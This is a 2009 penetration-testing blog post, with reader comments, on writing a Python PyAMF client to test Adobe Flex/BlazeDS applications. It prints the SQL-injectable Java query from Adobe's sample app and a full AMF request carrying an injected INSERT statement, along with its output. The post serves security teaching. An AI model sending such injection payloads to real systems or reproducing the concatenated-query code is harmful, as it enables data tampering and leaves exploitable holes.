Search
RSS Feed
Twitter
« Slides from AppSec DC Posted | Main | GWT-RPC in a Nutshell »
Wednesday
Nov112009

Pentesting Adobe Flex Applications with a Custom AMF Client

At GDS, we've seen an increase over the past few months in the number of applications using Adobe Flex at the presentation layer. Vulnerabilities in Flash aside (i.e., Dowd [PDF]), this technology often presents an obstacle for security testers, especially if the application uses ActionScript Message Format (AMF) to send data across the wire. The AMF specification [PDF], has been implemented in various languages, including Java, Python, PHP, and Ruby. While there are tools out there like Burp and Deblaze which let you manipulate AMF requests, there are certain scenarios where you might want to build your own custom client for testing with AMF. Being a Python fan myself, let's walk through the process of using the PyAMF library to quickly write a custom AMF test client.

Adobe provides several turnkey BlazeDS applications to get developers started with Flex, allowing them to use existing Java backend application logic (courtesy BlazeDS). After downloading the examples, I poked around some of the code and immediately stumbled into a textbook SQL injection vulnerability in the EmployeDAO.java class (code snippet below). This vulnerable application will serve as a perfect example for my custom test client. 

public class EmployeeDAO {
..snip..

public List findEmployeesByName(String name) throws DAOException
    List list = new ArrayList();
    Connection c = null;
    try {
        c = ConnectionHelper.getConnection();
        Statement s = c.createStatement();
        ResultSet rs = s.executeQuery("SELECT * FROM employee WHERE
            first_name LIKE '%" + name + "%' OR
            last_name LIKE '%" + name + "%' ORDER BY last_name");
        Employee employee;
        while (rs.next())
        ..snip..
 

To exploit this, we will write a client that can make requests to the remoting destination. In Python, we construct an AMF request like so using the pyamf.flex.messaging.RemotingMessage class:

request = RemotingMessage(operation="findEmployeesByName", 
                          destination="runtime-employee-ro",
                          messageID=str(uuid.uuid4()).upper(),
                          body=['Marcin'],
                          clientId=None,
                          headers={'DSId': str(uuid.uuid4()).upper(),
                                   'DSEndpoint': 'my-amf',},
                         )

Then, we wrap our request in an AMF envelope:

envelope = pyamf.remoting.Envelope(amfVersion=3)
envelope["/%d" % 1] = pyamf.remoting.Request(u'null', [request])

Afterwards, we need to encode our Request Envelope in AMF using pyamf.remoting.encode().

message = pyamf.remoting.encode(envelope)

Using httplib, we can send and receive HTTP requests with Python, containing our AMF encoded request in the body. We also set the Content-Type to "application/x-amf", to specify the request is encoded in AMF, versus say, application/x-www-form-urlencoded.

conn = httplib.HTTPConnection(hostname, port)
conn.request('POST', path, message.getvalue(),
             headers={'Content-Type': 'application/x-amf'})

Across the wire, this request looks like:

POST /samples/messagebroker/amf HTTP/1.1
Host: 172.16.247.130:8400
Accept-Encoding: identity
Content-Type: application/x-amf
Content-Length: 312

\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00
\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11
clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15
timeToLive\x13timestamp\t\x03\x01\x06\rMarcin\x01\x06'runtime-employee-ro
\n\x0b\x01\tDSId\x06I7F172AA9-9172-4EE4-A6FA-A09A5C961196\x15DSEndpoint
\x06\rmy-amf\x01\x06ID246131C-F453-47C5-A55C-A6EE822D7BF0\x06'
findEmployeesByName\x01\x01\x01

Following, retrieve the response from our connection object, and use pyamf.remoting.decode() to decode and print the content.

response = conn.getresponse()
content = response.read()

content = pyamf.remoting.decode(content)

print content
# -----------

<Envelope amfVersion=3>
(u'/1', <Request target=u'null'>[<RemotingMessage body=[u'Marcin']
source=None timestamp=None destination=u'runtime-employee-ro'
clientId=None headers={'DSId': u'7F172AA9-9172-4EE4-A6FA-A09A5C961196',
'DSEndpoint': u'my-amf'} timeToLive=None messageId=u'D246131C-F453-47C5-
A55C-A6EE822D7BF0' operation=u'findEmployeesByName' />]</Request>)
</Envelope>

Querying the findEmployeesByName method and injecting a single quote causes a java.sql.SQLException error to be thrown.

faultString=u'flex.samples.DAOException : java.sql.SQLException: Unexpected 
token: % in statement [%]'

To exploit this, perform a SQL injection like any other; I'll insert a record of my own into the database:

POST /samples/messagebroker/amf HTTP/1.1
Host: 172.16.247.130:8400
Accept-Encoding: identity
Content-Length: 412
Content-Type: application/x-amf

\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00
\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11
clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15
timeToLive\x13timestamp\t\x03\x01\x06\x81S\\';INSERT INTO employee
(first_name, last_name, title) VALUES ('Marcin', 'Wielgoszewski', 'Rogue
CEO');--\x01\x06'runtime-employee-ro\n\x0b\x01\tDSId\x06I359E2429-9CD6-
423C-AF3D-4BD3DC4E40F3\x15DSEndpoint\x06\rmy-amf\x01\x06IBE9315A6-A7F6-
42CE-A338-23D703573207\x06'findEmployeesByName\x01\x01\x01

The response did not contain anything in the body, which usually is a good indicator the SQL had processed without error. Calling the findEmployeesByName method once more, with Marcin as a parameter value, returns the following data:

<flex.messaging.io.ArrayCollection [{'employeeId': 13, 'firstName': u'Marcin', 
'title': u'Rogue CEO', 'lastName': u'Wielgoszewski', 'company': None,
'phone': None, 'email': None}]>

In summary, this blog post aims to demonstrate how pen testers can leverage the PyAMF library to quickly write a custom AMF test client in Python. As an interesting side note, the only method called from the client-side Flex code in the sample application is getEmployees (with no parameters). Only after reviewing the code would one see what methods are actually available to call. So even though the findEmployeesByName method was not used by the Flex application, it is vulnerable to SQL injection!

During an assessment, it's critical that you identify all the service and method endpoints called by the application, and to also review the source code for potentially hidden methods. If you're operating from a strictly BlackBox perspective, you should always decompile the SWF using a tool like SWFScan, and grep for RemoteObject and AMFChannel as a relatively good way to identify remoting methods. The DeBlaze tool can also performs remote service and method enumeration, which can help you identify other services and methods that aren't exposed in the application SWF.

In my next post, I'll show how you can reverse and create custom objects using Python and PyAMF for advanced penetration testing of Adobe Flex applications. Thanks to Adobe for providing a nice sample BlazeDS application, complete with SQL injection :)

Reader Comments (10)

cool post

November 11, 2009 | Unregistered Commenterarshan

IBM Rational AppScan has the ability to automatically crawl and test Flash applications. In addition, specifically for Flex/AMF applications, it performs the regular battery of application-layer tests (e.g. SQLi, XSS, etc.) on AMF message fields.

November 22, 2009 | Unregistered CommenterDaniel

Thanks for discovering and reporting this problem with our BlazeDS samples. In the future can you also file a bug?
http://bugs.adobe.com

I've created one for this issue:
https://bugs.adobe.com/jira/browse/BLZ-461

It's important to note that this vulnerability is just in the BlazeDS sample applications not in the BlazeDS product itself.

BTW: It's much easier to use a Flex app to illustrate these types of vulnerabilities. No mucking with AMF packets, etc. Here is the Flex app I created to test this particular vulnerability:
http://pastebin.com/f6c1e3114

-James (Adobe)

November 23, 2009 | Unregistered CommenterJames Ward

Interesting post! I'm curious why you didn't use PyAMF's RemotingService, and rolled your own using httplib?

January 28, 2010 | Unregistered CommenterThijs

Hi Thijs! During testing, I often prefer working with the HTTP request directly, rather than having it abstracted from me like RemotingService does. I felt it was important in this post (from a security testing perspective) for the reader to understand how an AMF envelope and message are constructed.

I also had been running into TypeError's being thrown when using the RemotingService in some scripts, and didn't have time to track down the root cause for it. I'll be sure to submit any details to you if I run into them again.

Thanks for your work on PyAMF!

February 8, 2010 | Unregistered CommenterMarcin

I'm implementing a Java client which sends AMF request to BlazeDS server using AMFConnection library.
In my case, I'm calling a remote API (using RemotingMessage) which needs a custom Server Object in the AMF request body. But I can't create this object because its class and related libraries are present on Server. I observed a way around to this, in a ActionScript, where developers use below syntax, where they create a local class and link to Server Class.

=================Action Script ==================
[Bindable]
[RemoteClass(alias=" com.ABC.PQR.sampleClass")]

public class SampleClass {
public function SampleClass() {
}

public var var1:String;
public var var2:String;
public var var3:ArrayCollection;
public var var4:Boolean;
public var var5:Boolean;
}

=============================================

Can you please let me know how to send a custom object using Java client creating a AMF request with a custom object as request body, similar to the above example.

I used "regsiterAlias( , )" API, but through proxy tool, I observed that the object inside AMF request body contains NULL information and linked correctly to the Server side class.

Thank you.

July 21, 2010 | Unregistered CommenterVivek

The registerAlias() needs 2 arguemnts and the classes mentioned must be present within a package. Using this my registerAlias() got solved, since the local class I was using was not in a package.

Also, my Java AMF client fails to send any remoting request and receives following message. I'm able to invoke login/logout methods but after login any other request I try to invole fails.

------------------------------------------------
Operation: RemotingMessage.changeValue
Destination: valueBean
------------------------------------------------
Error: exception occured
ServerStatusException
data: Flex Message (flex.messaging.messages.ErrorMessage)
clientId = 8967EBAE-8F0C-AC84-89F1-16E2F27D647F
correlationId = 89A7F273-FC51F-AC93-1FEA-FD3FDE311D20
destination = valueBean
messageId = 8967EBAF-8FF1D-2D1E-A727-61D596749D35
timestamp = 2181655390463
timeToLive = 0
body = null
code = Client.Authentication
message = Login required before authorization can proceed.
details = null
rootCause = null
body = null
extendedData = null
HttpResponseInfo: HttpResponseInfo
code: 200
message: OK
------------------------------------------------

Is there anything which I'm missing ?

Thank you
Vivek

August 12, 2010 | Unregistered CommenterVivek

Vivek, how is your client/application handling sessions? Does the server respond with a Set-Cookie or append the sessionid to to the gateway url? If so, you need to ensure that you handle these scenarios with your client. Have a look at http://opensource.adobe.com/wiki/display/blazeds/Java+AMF+Client for some examples. You can use the addHttpRequestHeader() method to add a cookie if you are using cookie-based session id's.

August 23, 2010 | Unregistered CommenterMarcin

I have been looking for help on the AMF packet sending exactly like the one in the post for days.
I need to do the exactly same thing i.e. sending an AMF packet but instead of Python, through C# as the base language. I explored FluorineFx but it has limited documentation. I would be grateful for any help on this!

December 28, 2010 | Unregistered CommenterRa
great post....
May 3, 2012 | Unregistered Commentersatish b

PostPost a New Comment

Enter your information below to add a new comment.

My response is on my own website »
Author Email (optional):
Author URL (optional):
Post:
 
All HTML will be escaped. Hyperlinks will be created for URLs automatically.